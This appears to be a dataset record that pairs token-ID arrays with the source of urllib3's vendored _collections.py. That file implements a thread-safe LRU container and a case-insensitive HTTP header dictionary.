8, 1113, 12, 2008, 304, 272, 1559, 275, 2008, 779, 8011, 6340, 6564, 872, 1523, 8, 1053, 9, 367, 1242, 315, 1559, 566, 523, 372, 1559, 421, 199, 318, 3957, 11188, 8, 1113, 304, 523, 340, 730, 8, 1113, 9, 315, 11214, 63, 9868, 63, 7893, 26, 272, 372, 1559, 523, 916, 1228, 8, 1113, 12, 769, 304, 272, 372, 359, 3916, 11188, 8, 1053, 9, 367, 1242, 315, 1559, 61, 523, 916, 1228, 8, 1113, 12, 1211, 304, 272, 372, 3957, 2141, 8, 1113, 9, 523, 916, 1228, 8, 1113, 12, 2008, 304, 272, 372, 469, 4100, 14, 52, 28970, 26, 359, 3916, 11188, 8, 1053, 9, 367, 1242, 315, 1559, 9420, 523, 916, 1228, 8, 1113, 12, 663, 304, 272, 372, 469, 4100, 14, 3597, 26, 359, 3916, 11188, 8, 1053, 9, 367, 1242, 315, 1559, 9420, 523, 587, 26, 272, 340, 2688, 8, 1113, 12, 2560, 16011, 12168, 489, 1174, 275, 1559, 855, 16011, 4533, 272, 916, 2688, 8, 1113, 12, 2560, 7257, 12168, 489, 1338, 275, 2341, 8, 2734, 671, 26, 2519, 8, 1113, 12, 671, 395, 1559, 855, 7257, 3368, 489, 1174, 275, 1211, 8, 3065, 8, 1113, 855, 7257, 3108, 1338, 430, 272, 916, 2688, 8, 1113, 12, 2560, 807, 12168, 489, 1174, 275, 1559, 855, 807, 363, 272, 587, 26, 489, 340, 440, 2688, 8, 1113, 12, 2560, 533, 12168, 267, 746, 3146, 360, 6612, 3752, 909, 26, 450, 83, 7, 450, 4700, 8, 1113, 430, 489, 1174, 275, 469, 4100, 14, 907, 3311, 26, 4700, 8, 1113, 6769, 272, 1174, 59, 4100, 14, 9868, 61, 275, 664, 6295, 2042, 8, 1113, 9, 272, 372, 3957, 11188, 8, 929, 9, 421, 199, 318, 909, 8326, 8481, 8, 1113, 304, 523, 1559, 275, 9066, 6340, 6564, 872, 1523, 8, 1113, 9, 523, 340, 1228, 8, 1113, 12, 1211, 304, 272, 340, 18851, 14, 52, 28970, 315, 1559, 26, 489, 372, 2008, 8, 1113, 59, 4100, 14, 52, 28970, 566, 272, 916, 18851, 14, 3597, 315, 1559, 26, 489, 372, 663, 8, 1113, 59, 4100, 14, 3597, 566, 272, 916, 18851, 14, 12488, 315, 1559, 26, 489, 372, 3468, 8, 1113, 59, 4100, 14, 12488, 566, 272, 916, 18851, 14, 907, 3311, 315, 1559, 26, 489, 859, 12, 536, 275, 1559, 59, 4100, 14, 9868, 1055, 13490, 14078, 413, 9 ]
[ 20359, 199, 3, 22783, 16078, 367, 8883, 24024, 27799, 334, 21988, 26769, 9, 199, 3, 1898, 334, 35, 9, 6171, 12, 22783, 12, 3277, 14, 221, 4158, 1265, 1172, 15932, 68, 687, 199, 3, 22783, 12, 3277, 14, 282, 7396, 2414, 23012, 4190, 367, 642, 2032, 1233, 12, 314, 199, 3, 2569, 2895, 436, 3704, 4838, 26, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 1015, 650, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 199, 3, 1666, 314, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 1455, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 14, 199, 3, 199, 3, 1455, 921, 78, 18952, 14, 1308, 15, 2383, 15, 199, 3, 20359, 199, 199, 624, 6243, 2644, 436, 15952, 1041, 199, 199, 3, 1611, 3854, 7545, 3743, 2972, 3595, 372, 2943, 687, 477, 12161, 14, 199, 3, 4287, 26, 3507, 29, 37, 6019, 19, 199, 199, 646, 2022, 199, 646, 984, 199, 199, 13887, 63, 9868, 63, 7893, 275, 334, 466, 8, 403, 395, 2155, 12, 1109, 12, 2069, 12, 1846, 12, 620, 12, 2649, 9, 421, 199, 533, 18851, 8, 785, 304, 523, 377, 28970, 275, 283, 647, 15, 2960, 7, 523, 11543, 275, 283, 647, 15, 409, 7, 523, 17971, 10931, 275, 283, 2083, 15, 2083, 14, 2083, 7, 523, 5363, 3311, 275, 283, 647, 15, 2722, 7, 523, 28652, 5550, 275, 283, 647, 15, 785, 7, 523, 9301, 51, 275, 283, 647, 15, 807, 15, 1612, 7, 421, 199, 318, 664, 6295, 2042, 8, 1113, 304, 523, 843, 275, 1559, 855, 533, 363, 523, 372, 1543, 83, 4111, 83, 7, 450, 334, 1886, 855, 578, 3108, 843, 855, 354, 3368, 421, 199, 318, 3957, 2141, 8, 1113, 304, 523, 1559, 275, 1211, 8, 1113, 9, 523, 367, 1022, 12, 373, 315, 1559, 14, 1744, 837, 272, 2150, 1559, 59, 75, 61, 272, 340, 440, 334, 6074, 8, 75, 12, 620, 9, 503, 1228, 8, 75, 12, 2649, 2298, 489, 1022, 275, 16864, 8, 75, 9, 489, 327, 14797, 4426, 402, 1314, 2883, 1929, 370, 506, 11203, 1380, 8697, 14, 489, 340, 18851, 14, 17434, 440, 315, 1559, 26, 267, 1559, 59, 4100, 14, 17434, 61, 275, 942, 489, 1559, 59, 4100, 14, 17434, 1055, 740, 8, 75, 9, 272, 1559, 59, 75, 61, 275, 3957, 11188, 8, 86, 9, 523, 372, 1559, 421, 199, 318, 9066, 6340, 6564, 872, 1523, 8, 1113, 304, 523, 340, 1228, 8, 1113, 12, 1211, 304, 272, 340, 18851, 14, 17434, 315, 1559, 26, 489, 367, 1022, 315, 1559, 59, 4100, 14, 17434, 2189, 267, 373, 275, 1559, 59, 75, 61, 267, 2150, 1559, 59, 75, 61, 267, 892, 1197, 275, 14404, 8, 75, 9, 267, 1559, 59, 1222, 1197, 61, 275, 373, 489, 2150, 1559, 59, 4100, 14, 17434, 61, 272, 367, 1022, 12, 373, 315, 1559, 14, 1744, 837, 489, 340, 1228, 8, 86, 12, 1211, 304, 267, 1559, 59, 75, 61, 275, 9066, 6340, 6564, 872, 1523, 8, 86, 9, 523, 916, 1228, 8, 1113, 12, 769, 304, 272, 1559, 275, 359, 8011, 6340, 6564, 872, 1523, 8, 1053, 9, 367, 1242, 315, 1559, 61, 523, 916, 1228, 8, 1113, 12, 663, 304, 272, 1559, 275, 663, 779, 8011, 6340, 6564, 872, 1523, 8, 1053, 9, 367, 1242, 315, 1559, 566, 523, 916, 1228, 8, 1113, 12, 2008, 304, 272, 1559, 275, 2008, 779, 8011, 6340, 6564, 872, 1523, 8, 1053, 9, 367, 1242, 315, 1559, 566, 523, 372, 1559, 421, 199, 318, 3957, 11188, 8, 1113, 304, 523, 340, 730, 8, 1113, 9, 315, 11214, 63, 9868, 63, 7893, 26, 272, 372, 1559, 523, 916, 1228, 8, 1113, 12, 769, 304, 272, 372, 359, 3916, 11188, 8, 1053, 9, 367, 1242, 315, 1559, 61, 523, 916, 1228, 8, 1113, 12, 1211, 304, 272, 372, 3957, 2141, 8, 1113, 9, 523, 916, 1228, 8, 1113, 12, 2008, 304, 272, 372, 469, 4100, 14, 52, 28970, 26, 359, 3916, 11188, 8, 1053, 9, 367, 1242, 315, 1559, 9420, 523, 916, 1228, 8, 1113, 12, 663, 304, 272, 372, 469, 4100, 14, 3597, 26, 359, 3916, 11188, 8, 1053, 9, 367, 1242, 315, 1559, 9420, 523, 587, 26, 272, 340, 2688, 8, 1113, 12, 2560, 16011, 12168, 489, 1174, 275, 1559, 855, 16011, 4533, 272, 916, 2688, 8, 1113, 12, 2560, 7257, 12168, 489, 1338, 275, 2341, 8, 2734, 671, 26, 2519, 8, 1113, 12, 671, 395, 1559, 855, 7257, 3368, 489, 1174, 275, 1211, 8, 3065, 8, 1113, 855, 7257, 3108, 1338, 430, 272, 916, 2688, 8, 1113, 12, 2560, 807, 12168, 489, 1174, 275, 1559, 855, 807, 363, 272, 587, 26, 489, 340, 440, 2688, 8, 1113, 12, 2560, 533, 12168, 267, 746, 3146, 360, 6612, 3752, 909, 26, 450, 83, 7, 450, 4700, 8, 1113, 430, 489, 1174, 275, 469, 4100, 14, 907, 3311, 26, 4700, 8, 1113, 6769, 272, 1174, 59, 4100, 14, 9868, 61, 275, 664, 6295, 2042, 8, 1113, 9, 272, 372, 3957, 11188, 8, 929, 9, 421, 199, 318, 909, 8326, 8481, 8, 1113, 304, 523, 1559, 275, 9066, 6340, 6564, 872, 1523, 8, 1113, 9, 523, 340, 1228, 8, 1113, 12, 1211, 304, 272, 340, 18851, 14, 52, 28970, 315, 1559, 26, 489, 372, 2008, 8, 1113, 59, 4100, 14, 52, 28970, 566, 272, 916, 18851, 14, 3597, 315, 1559, 26, 489, 372, 663, 8, 1113, 59, 4100, 14, 3597, 566, 272, 916, 18851, 14, 12488, 315, 1559, 26, 489, 372, 3468, 8, 1113, 59, 4100, 14, 12488, 566, 272, 916, 18851, 14, 907, 3311, 315, 1559, 26, 489, 859, 12, 536, 275, 1559, 59, 4100, 14, 9868, 1055, 13490, 14078, 413, 9, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
thepiper/standoff
vpy/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/_collections.py
484
10454
from collections import Mapping, MutableMapping try: from threading import RLock except ImportError: # Platform-specific: No threads available class RLock: def __enter__(self): pass def __exit__(self, exc_type, exc_value, traceback): pass try: # Python 2.7+ from collections import OrderedDict except ImportError: from .packages.ordered_dict import OrderedDict from .packages.six import iterkeys, itervalues, PY3 __all__ = ['RecentlyUsedContainer', 'HTTPHeaderDict'] _Null = object() class RecentlyUsedContainer(MutableMapping): """ Provides a thread-safe dict-like container which maintains up to ``maxsize`` keys while throwing away the least-recently-used keys beyond ``maxsize``. :param maxsize: Maximum number of recent elements to retain. :param dispose_func: Every time an item is evicted from the container, ``dispose_func(value)`` is called. Callback which will get called """ ContainerCls = OrderedDict def __init__(self, maxsize=10, dispose_func=None): self._maxsize = maxsize self.dispose_func = dispose_func self._container = self.ContainerCls() self.lock = RLock() def __getitem__(self, key): # Re-insert the item, moving it to the end of the eviction line. with self.lock: item = self._container.pop(key) self._container[key] = item return item def __setitem__(self, key, value): evicted_value = _Null with self.lock: # Possibly evict the existing value of 'key' evicted_value = self._container.get(key, _Null) self._container[key] = value # If we didn't evict an existing value, we might have to evict the # least recently used item from the beginning of the container. if len(self._container) > self._maxsize: _key, evicted_value = self._container.popitem(last=False) if self.dispose_func and evicted_value is not _Null: self.dispose_func(evicted_value) def __delitem__(self, key): with self.lock: value = self._container.pop(key) if self.dispose_func: self.dispose_func(value) def __len__(self): with self.lock: return len(self._container) def __iter__(self): raise NotImplementedError('Iteration over this class is unlikely to be threadsafe.') def clear(self): with self.lock: # Copy pointers to all values, then wipe the mapping values = list(itervalues(self._container)) self._container.clear() if self.dispose_func: for value in values: self.dispose_func(value) def keys(self): with self.lock: return list(iterkeys(self._container)) _dict_setitem = dict.__setitem__ _dict_getitem = dict.__getitem__ _dict_delitem = dict.__delitem__ _dict_contains = dict.__contains__ _dict_setdefault = dict.setdefault class HTTPHeaderDict(dict): """ :param headers: An iterable of field-value pairs. Must not contain multiple field names when compared case-insensitively. :param kwargs: Additional field-value pairs to pass in to ``dict.update``. A ``dict`` like container for storing HTTP Headers. Field names are stored and compared case-insensitively in compliance with RFC 7230. Iteration provides the first case-sensitive key seen for each case-insensitive pair. Using ``__setitem__`` syntax overwrites fields that compare equal case-insensitively in order to maintain ``dict``'s api. For fields that compare equal, instead create a new ``HTTPHeaderDict`` and use ``.add`` in a loop. If multiple fields that are equal case-insensitively are passed to the constructor or ``.update``, the behavior is undefined and some will be lost. >>> headers = HTTPHeaderDict() >>> headers.add('Set-Cookie', 'foo=bar') >>> headers.add('set-cookie', 'baz=quxx') >>> headers['content-length'] = '7' >>> headers['SET-cookie'] 'foo=bar, baz=quxx' >>> headers['Content-Length'] '7' """ def __init__(self, headers=None, **kwargs): dict.__init__(self) if headers is not None: if isinstance(headers, HTTPHeaderDict): self._copy_from(headers) else: self.extend(headers) if kwargs: self.extend(kwargs) def __setitem__(self, key, val): return _dict_setitem(self, key.lower(), (key, val)) def __getitem__(self, key): val = _dict_getitem(self, key.lower()) return ', '.join(val[1:]) def __delitem__(self, key): return _dict_delitem(self, key.lower()) def __contains__(self, key): return _dict_contains(self, key.lower()) def __eq__(self, other): if not isinstance(other, Mapping) and not hasattr(other, 'keys'): return False if not isinstance(other, type(self)): other = type(self)(other) return dict((k1, self[k1]) for k1 in self) == dict((k2, other[k2]) for k2 in other) def __ne__(self, other): return not self.__eq__(other) values = MutableMapping.values get = MutableMapping.get update = MutableMapping.update if not PY3: # Python 2 iterkeys = MutableMapping.iterkeys itervalues = MutableMapping.itervalues __marker = object() def pop(self, key, default=__marker): '''D.pop(k[,d]) -> v, remove specified key and return the corresponding value. If key is not found, d is returned if given, otherwise KeyError is raised. ''' # Using the MutableMapping function directly fails due to the private marker. # Using ordinary dict.pop would expose the internal structures. # So let's reinvent the wheel. try: value = self[key] except KeyError: if default is self.__marker: raise return default else: del self[key] return value def discard(self, key): try: del self[key] except KeyError: pass def add(self, key, val): """Adds a (name, value) pair, doesn't overwrite the value if it already exists. >>> headers = HTTPHeaderDict(foo='bar') >>> headers.add('Foo', 'baz') >>> headers['foo'] 'bar, baz' """ key_lower = key.lower() new_vals = key, val # Keep the common case aka no item present as fast as possible vals = _dict_setdefault(self, key_lower, new_vals) if new_vals is not vals: # new_vals was not inserted, as there was a previous one if isinstance(vals, list): # If already several items got inserted, we have a list vals.append(val) else: # vals should be a tuple then, i.e. only one item so far # Need to convert the tuple to list for further extension _dict_setitem(self, key_lower, [vals[0], vals[1], val]) def extend(self, *args, **kwargs): """Generic import function for any type of header-like object. Adapted version of MutableMapping.update in order to insert items with self.add instead of self.__setitem__ """ if len(args) > 1: raise TypeError("extend() takes at most 1 positional " "arguments ({} given)".format(len(args))) other = args[0] if len(args) >= 1 else () if isinstance(other, HTTPHeaderDict): for key, val in other.iteritems(): self.add(key, val) elif isinstance(other, Mapping): for key in other: self.add(key, other[key]) elif hasattr(other, "keys"): for key in other.keys(): self.add(key, other[key]) else: for key, value in other: self.add(key, value) for key, value in kwargs.items(): self.add(key, value) def getlist(self, key): """Returns a list of all the values for the named field. Returns an empty list if the key doesn't exist.""" try: vals = _dict_getitem(self, key.lower()) except KeyError: return [] else: if isinstance(vals, tuple): return [vals[1]] else: return vals[1:] # Backwards compatibility for httplib getheaders = getlist getallmatchingheaders = getlist iget = getlist def __repr__(self): return "%s(%s)" % (type(self).__name__, dict(self.itermerged())) def _copy_from(self, other): for key in other: val = _dict_getitem(other, key) if isinstance(val, list): # Don't need to convert tuples val = list(val) _dict_setitem(self, key, val) def copy(self): clone = type(self)() clone._copy_from(self) return clone def iteritems(self): """Iterate over all header lines, including duplicate ones.""" for key in self: vals = _dict_getitem(self, key) for val in vals[1:]: yield vals[0], val def itermerged(self): """Iterate over all headers, merging duplicate ones together.""" for key in self: val = _dict_getitem(self, key) yield val[0], ', '.join(val[1:]) def items(self): return list(self.iteritems()) @classmethod def from_httplib(cls, message): # Python 2 """Read headers from a Python 2 httplib message object.""" # python2.7 does not expose a proper API for exporting multiheaders # efficiently. This function re-reads raw lines from the message # object and extracts the multiheaders properly. headers = [] for line in message.headers: if line.startswith((' ', '\t')): key, value = headers[-1] headers[-1] = (key, value + '\r\n' + line.rstrip()) continue key, value = line.split(':', 1) headers.append((key, value.strip())) return cls(headers)
gpl-3.0
[ 504, 5055, 492, 12340, 12, 29396, 199, 893, 26, 272, 687, 5796, 492, 820, 6432, 199, 2590, 3545, 26, 221, 327, 16078, 13, 6100, 26, 3091, 7183, 2808, 272, 1021, 820, 6432, 26, 267, 347, 636, 4200, 721, 277, 304, 288, 986, 398, 347, 636, 2224, 721, 277, 12, 3178, 63, 466, 12, 3178, 63, 585, 12, 5190, 304, 288, 986, 421, 199, 893, 26, 221, 327, 2018, 499, 14, 23, 11, 272, 687, 5055, 492, 8773, 199, 2590, 3545, 26, 272, 687, 1275, 5154, 14, 8235, 63, 807, 492, 8773, 199, 504, 1275, 5154, 14, 4174, 492, 25706, 12, 24451, 12, 7843, 19, 421, 199, 363, 452, 363, 275, 788, 29574, 590, 9167, 4076, 297, 283, 2856, 2567, 2141, 418, 421, 199, 63, 8849, 275, 909, 342, 421, 199, 533, 799, 2946, 590, 9167, 4076, 8, 17707, 7674, 304, 272, 408, 272, 21552, 282, 2462, 13, 3489, 1211, 13, 2930, 3970, 1314, 11075, 83, 1536, 370, 272, 1124, 13634, 1040, 2883, 1830, 7978, 316, 13437, 314, 5210, 13, 14951, 590, 13, 2972, 2883, 20561, 272, 1124, 13634, 4345, 339, 520, 635, 19791, 26, 267, 14212, 1329, 402, 8058, 4008, 370, 8074, 14, 339, 520, 635, 2153, 4070, 63, 1532, 26, 267, 18414, 900, 376, 1242, 365, 24656, 1522, 687, 314, 3970, 12, 267, 1124, 29842, 63, 1532, 8, 585, 9719, 365, 2797, 14, 221, 17555, 1314, 911, 664, 2797, 272, 408, 339, 15395, 24342, 275, 8773, 339, 347, 636, 826, 721, 277, 12, 19791, 29, 709, 12, 2153, 4070, 63, 1532, 29, 403, 304, 267, 291, 423, 13634, 275, 19791, 267, 291, 14, 29842, 63, 1532, 275, 2153, 4070, 63, 1532, 398, 291, 423, 3600, 275, 291, 14, 4076, 24342, 342, 267, 291, 14, 831, 275, 820, 6432, 342, 339, 347, 636, 6095, 721, 277, 12, 790, 304, 267, 327, 799, 13, 3176, 314, 1242, 12, 12876, 652, 370, 314, 1284, 402, 314, 24656, 414, 1004, 14, 267, 543, 291, 14, 831, 26, 288, 1242, 275, 291, 423, 3600, 14, 1935, 8, 498, 9, 288, 291, 423, 3600, 59, 498, 61, 275, 1242, 288, 372, 1242, 339, 347, 636, 8617, 721, 277, 12, 790, 12, 574, 304, 267, 24656, 1522, 63, 585, 275, 485, 8849, 267, 543, 291, 14, 831, 26, 288, 327, 25987, 9312, 24656, 319, 314, 3411, 574, 402, 283, 498, 7, 288, 24656, 1522, 63, 585, 275, 291, 423, 3600, 14, 362, 8, 498, 12, 485, 8849, 9, 288, 291, 423, 3600, 59, 498, 61, 275, 574, 953, 327, 982, 781, 9980, 1133, 24656, 319, 376, 3411, 574, 12, 781, 5594, 1172, 370, 24656, 319, 314, 288, 327, 5210, 23568, 1202, 1242, 687, 314, 9608, 402, 314, 3970, 14, 288, 340, 822, 8, 277, 423, 3600, 9, 690, 291, 423, 13634, 26, 355, 485, 498, 12, 24656, 1522, 63, 585, 275, 291, 423, 3600, 14, 24882, 8, 2019, 29, 797, 9, 398, 340, 291, 14, 29842, 63, 1532, 436, 24656, 1522, 63, 585, 365, 440, 485, 8849, 26, 288, 291, 14, 29842, 63, 1532, 8, 69, 433, 1522, 63, 585, 9, 339, 347, 636, 13228, 721, 277, 12, 790, 304, 267, 543, 291, 14, 831, 26, 288, 574, 275, 291, 423, 3600, 14, 1935, 8, 498, 9, 398, 340, 291, 14, 29842, 63, 1532, 26, 288, 291, 14, 29842, 63, 1532, 8, 585, 9, 339, 347, 636, 552, 721, 277, 304, 267, 543, 291, 14, 831, 26, 288, 372, 822, 8, 277, 423, 3600, 9, 339, 347, 636, 1661, 721, 277, 304, 267, 746, 4279, 360, 8666, 1806, 642, 1021, 365, 625, 24227, 370, 506, 2462, 3489, 2659, 339, 347, 5436, 8, 277, 304, 267, 543, 291, 14, 831, 26, 288, 327, 11247, 21116, 370, 1006, 1338, 12, 2066, 336, 3662, 314, 4412, 288, 1338, 275, 769, 8, 13012, 8, 277, 423, 3600, 430, 288, 291, 423, 3600, 14, 3584, 342, 398, 340, 291, 14, 29842, 63, 1532, 26, 288, 367, 574, 315, 1338, 26, 355, 291, 14, 29842, 63, 1532, 8, 585, 9, 339, 347, 2883, 8, 277, 304, 267, 543, 291, 14, 831, 26, 288, 372, 769, 8, 16007, 8, 277, 423, 3600, 430, 421, 199, 63, 807, 63, 8617, 275, 1211, 855, 8617, 363, 199, 63, 807, 63, 6095, 275, 1211, 855, 6095, 363, 199, 63, 807, 63, 13228, 275, 1211, 855, 13228, 363, 199, 63, 807, 63, 6134, 275, 1211, 855, 6134, 363, 199, 63, 807, 63, 5486, 275, 1211, 14, 5486, 421, 199, 533, 3101, 2567, 2141, 8, 807, 304, 272, 408, 272, 520, 635, 2323, 26, 267, 1626, 6076, 402, 901, 13, 585, 6342, 14, 9498, 440, 1395, 3663, 901, 1561, 267, 1380, 13524, 1930, 13, 262, 2464, 338, 9462, 14, 339, 520, 635, 2074, 26, 267, 10961, 901, 13, 585, 6342, 370, 986, 315, 370, 1124, 807, 14, 873, 4345, 339, 437, 1124, 807, 1040, 2839, 3970, 367, 16915, 3101, 21391, 14, 339, 5024, 1561, 787, 5489, 436, 13524, 1930, 13, 262, 2464, 338, 9462, 315, 4151, 543, 272, 7329, 1520, 9687, 14, 473, 5388, 6571, 314, 1642, 1930, 13, 7361, 790, 6775, 367, 1924, 272, 1930, 13, 15851, 4092, 14, 339, 11719, 9035, 8617, 18762, 6302, 1806, 16334, 1504, 626, 6540, 4472, 272, 1930, 13, 262, 2464, 338, 9462, 315, 1865, 370, 11075, 1124, 807, 1040, 7, 83, 2986, 14, 2104, 1504, 626, 272, 6540, 4472, 12, 3140, 1218, 282, 892, 1124, 2856, 2567, 2141, 1040, 436, 675, 21502, 525, 1040, 272, 315, 282, 4438, 14, 339, 982, 3663, 1504, 626, 787, 4472, 1930, 13, 262, 2464, 338, 9462, 787, 3032, 370, 314, 272, 3787, 503, 21502, 873, 4542, 314, 5953, 365, 10942, 436, 2005, 911, 506, 272, 14669, 14, 339, 1306, 2323, 275, 3101, 2567, 2141, 342, 272, 1306, 2323, 14, 525, 360, 1084, 13, 7810, 297, 283, 1421, 29, 1700, 358, 272, 1306, 2323, 14, 525, 360, 409, 13, 5306, 297, 283, 6185, 29, 392, 2154, 358, 272, 1306, 2323, 459, 1317, 13, 1267, 418, 275, 283, 23, 7, 272, 1306, 2323, 459, 3597, 13, 5306, 418, 272, 283, 1421, 29, 1700, 12, 15507, 29, 392, 2154, 7, 272, 1306, 2323, 459, 2714, 13, 4625, 418, 272, 283, 23, 7, 272, 408, 339, 347, 636, 826, 721, 277, 12, 2323 ]
[ 5055, 492, 12340, 12, 29396, 199, 893, 26, 272, 687, 5796, 492, 820, 6432, 199, 2590, 3545, 26, 221, 327, 16078, 13, 6100, 26, 3091, 7183, 2808, 272, 1021, 820, 6432, 26, 267, 347, 636, 4200, 721, 277, 304, 288, 986, 398, 347, 636, 2224, 721, 277, 12, 3178, 63, 466, 12, 3178, 63, 585, 12, 5190, 304, 288, 986, 421, 199, 893, 26, 221, 327, 2018, 499, 14, 23, 11, 272, 687, 5055, 492, 8773, 199, 2590, 3545, 26, 272, 687, 1275, 5154, 14, 8235, 63, 807, 492, 8773, 199, 504, 1275, 5154, 14, 4174, 492, 25706, 12, 24451, 12, 7843, 19, 421, 199, 363, 452, 363, 275, 788, 29574, 590, 9167, 4076, 297, 283, 2856, 2567, 2141, 418, 421, 199, 63, 8849, 275, 909, 342, 421, 199, 533, 799, 2946, 590, 9167, 4076, 8, 17707, 7674, 304, 272, 408, 272, 21552, 282, 2462, 13, 3489, 1211, 13, 2930, 3970, 1314, 11075, 83, 1536, 370, 272, 1124, 13634, 1040, 2883, 1830, 7978, 316, 13437, 314, 5210, 13, 14951, 590, 13, 2972, 2883, 20561, 272, 1124, 13634, 4345, 339, 520, 635, 19791, 26, 267, 14212, 1329, 402, 8058, 4008, 370, 8074, 14, 339, 520, 635, 2153, 4070, 63, 1532, 26, 267, 18414, 900, 376, 1242, 365, 24656, 1522, 687, 314, 3970, 12, 267, 1124, 29842, 63, 1532, 8, 585, 9719, 365, 2797, 14, 221, 17555, 1314, 911, 664, 2797, 272, 408, 339, 15395, 24342, 275, 8773, 339, 347, 636, 826, 721, 277, 12, 19791, 29, 709, 12, 2153, 4070, 63, 1532, 29, 403, 304, 267, 291, 423, 13634, 275, 19791, 267, 291, 14, 29842, 63, 1532, 275, 2153, 4070, 63, 1532, 398, 291, 423, 3600, 275, 291, 14, 4076, 24342, 342, 267, 291, 14, 831, 275, 820, 6432, 342, 339, 347, 636, 6095, 721, 277, 12, 790, 304, 267, 327, 799, 13, 3176, 314, 1242, 12, 12876, 652, 370, 314, 1284, 402, 314, 24656, 414, 1004, 14, 267, 543, 291, 14, 831, 26, 288, 1242, 275, 291, 423, 3600, 14, 1935, 8, 498, 9, 288, 291, 423, 3600, 59, 498, 61, 275, 1242, 288, 372, 1242, 339, 347, 636, 8617, 721, 277, 12, 790, 12, 574, 304, 267, 24656, 1522, 63, 585, 275, 485, 8849, 267, 543, 291, 14, 831, 26, 288, 327, 25987, 9312, 24656, 319, 314, 3411, 574, 402, 283, 498, 7, 288, 24656, 1522, 63, 585, 275, 291, 423, 3600, 14, 362, 8, 498, 12, 485, 8849, 9, 288, 291, 423, 3600, 59, 498, 61, 275, 574, 953, 327, 982, 781, 9980, 1133, 24656, 319, 376, 3411, 574, 12, 781, 5594, 1172, 370, 24656, 319, 314, 288, 327, 5210, 23568, 1202, 1242, 687, 314, 9608, 402, 314, 3970, 14, 288, 340, 822, 8, 277, 423, 3600, 9, 690, 291, 423, 13634, 26, 355, 485, 498, 12, 24656, 1522, 63, 585, 275, 291, 423, 3600, 14, 24882, 8, 2019, 29, 797, 9, 398, 340, 291, 14, 29842, 63, 1532, 436, 24656, 1522, 63, 585, 365, 440, 485, 8849, 26, 288, 291, 14, 29842, 63, 1532, 8, 69, 433, 1522, 63, 585, 9, 339, 347, 636, 13228, 721, 277, 12, 790, 304, 267, 543, 291, 14, 831, 26, 288, 574, 275, 291, 423, 3600, 14, 1935, 8, 498, 9, 398, 340, 291, 14, 29842, 63, 1532, 26, 288, 291, 14, 29842, 63, 1532, 8, 585, 9, 339, 347, 636, 552, 721, 277, 304, 267, 543, 291, 14, 831, 26, 288, 372, 822, 8, 277, 423, 3600, 9, 339, 347, 636, 1661, 721, 277, 304, 267, 746, 4279, 360, 8666, 1806, 642, 1021, 365, 625, 24227, 370, 506, 2462, 3489, 2659, 339, 347, 5436, 8, 277, 304, 267, 543, 291, 14, 831, 26, 288, 327, 11247, 21116, 370, 1006, 1338, 12, 2066, 336, 3662, 314, 4412, 288, 1338, 275, 769, 8, 13012, 8, 277, 423, 3600, 430, 288, 291, 423, 3600, 14, 3584, 342, 398, 340, 291, 14, 29842, 63, 1532, 26, 288, 367, 574, 315, 1338, 26, 355, 291, 14, 29842, 63, 1532, 8, 585, 9, 339, 347, 2883, 8, 277, 304, 267, 543, 291, 14, 831, 26, 288, 372, 769, 8, 16007, 8, 277, 423, 3600, 430, 421, 199, 63, 807, 63, 8617, 275, 1211, 855, 8617, 363, 199, 63, 807, 63, 6095, 275, 1211, 855, 6095, 363, 199, 63, 807, 63, 13228, 275, 1211, 855, 13228, 363, 199, 63, 807, 63, 6134, 275, 1211, 855, 6134, 363, 199, 63, 807, 63, 5486, 275, 1211, 14, 5486, 421, 199, 533, 3101, 2567, 2141, 8, 807, 304, 272, 408, 272, 520, 635, 2323, 26, 267, 1626, 6076, 402, 901, 13, 585, 6342, 14, 9498, 440, 1395, 3663, 901, 1561, 267, 1380, 13524, 1930, 13, 262, 2464, 338, 9462, 14, 339, 